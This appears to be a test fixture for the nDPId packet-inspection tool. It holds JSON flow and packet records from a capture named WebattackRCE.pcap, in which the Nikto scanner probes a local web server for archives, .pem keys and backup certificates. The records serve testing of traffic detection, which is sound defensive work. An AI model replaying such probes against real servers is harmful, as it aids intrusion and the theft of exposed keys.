+00627{"flow_id":224,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":19028,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCTHZAAEAG771\/AAABfwAAAcNIH5DfPnQTJOA0c4AYAED+tgAAAQEICp1m\/EKdZvxCR0VUIC8xMjcwMDEud2FyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":224,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_first_seen":1576420277019,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49992,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":225,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1576420277020,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49994,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":225,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":20181,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCeAVAAEAGxC5\/AAABfwAAAcNKH5DAxUBlVYOEbYAYAED+tgAAAQEICp1m\/ESdZvxER0VUIC8xMjcwMDEuZWdnIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":225,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1576420277020,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49994,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":226,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1576420277021,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49996,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":226,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":21389,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADC3f5AAEAGXjV\/AAABfwAAAcNMH5AeDOWcmsl5CIAYAED+tgAAAQEICp1m\/EWdZvxFR0VUIC8xMjcwMDEuZWdnIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":226,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1576420277021,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49996,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":227,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":1576420277023,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49998,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":227,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":23208,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9\/jtAAEAGPf1\/AAABfwAAAcNOH5DeVcZf0\/y26IAYAED+sQAAAQEICp1m\/EedZvxHR0VUIC8xLndhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":227,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":1576420277023,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49998,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":228,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":1576420277025,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50000,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":228,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":25753,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9VlRAAEAG5eR\/AAABfwAAAcNQH5CjGG47rGEO3YAYAED+sQAAAQEICp1m\/EmdZvxJR0VUIC8xLndhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":228,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":1576420277025,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50000,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":229,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":1576420277027,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50002,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":229,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":27331,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAghpAAEAGuht\/AAABfwAAAcNSH5AdH7pxZz3Y6IAYAED+tAAAAQEICp1m\/EudZvxLR0VUIC8wLnRhci5neiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":229,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":1576420277027,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50002,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":230,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":1576420277028,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50004,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":230,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":28728,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA6xtAAEAGURp\/AAABfwAAAcNUH5DAadNxZUvEiYAYAED+tAAAAQEICp1m\/EydZvxMR0VUIC8wLnRhci5neiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":230,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":1576420277028,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50004,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":231,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":1576420277029,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50006,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":231,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":29987,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAF9FAAEAGJGV\/AAABfwAAAcNWH5ByeS+n3HjH64AYAED+tAAAAQEICp1m\/E2dZvxNR0VUIC8xMjcwLnBlbSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":231,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":1576420277029,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50006,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":232,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":1576420277031,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50008,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":232,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":31205,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADASFpAAEAG89t\/AAABfwAAAcNYH5CIKHAy4FE5l4AYAED+tAAAAQEICp1m\/E+dZvxPR0VUIC8xMjcwLnBlbSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":232,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":1576420277031,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50008,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":233,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1576420277032,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50010,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":233,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":32468,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9MI5AAEAGC6t\/AAABfwAAAcNaH5DGiQjnE8I6SoAYAED+sQAAAQEICp1m\/FCdZvxQR0VUIC8wLmVnZyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":233,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1576420277032,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50010,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":234,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1576420277033,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50012,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":234,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":33737,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9R6NAAEAG9JV\/AAABfwAAAcNcH5BSP3\/MbAOkN4AYAED+sQAAAQEICp1m\/FGdZvxRR0VUIC8wLmVnZyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":234,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1576420277033,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50012,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":235,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1576420277034,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50014,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":235,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":34954,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCi6hAAEAGsIt\/AAABfwAAAcNeH5CrCbPNtCCkdYAYAED+tgAAAQEICp1m\/FKdZvxSR0VUIC9iYWNrdXAuY2VyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":235,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1576420277034,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50014,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":236,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1576420277036,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50016,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":236,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":36245,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCaYNAAEAG0rB\/AAABfwAAAcNgH5BETFHrIT\/7L4AYAED+tgAAAQEICp1m\/FSdZvxUR0VUIC9iYWNrdXAuY2VyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":236,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1576420277036,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50016,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} 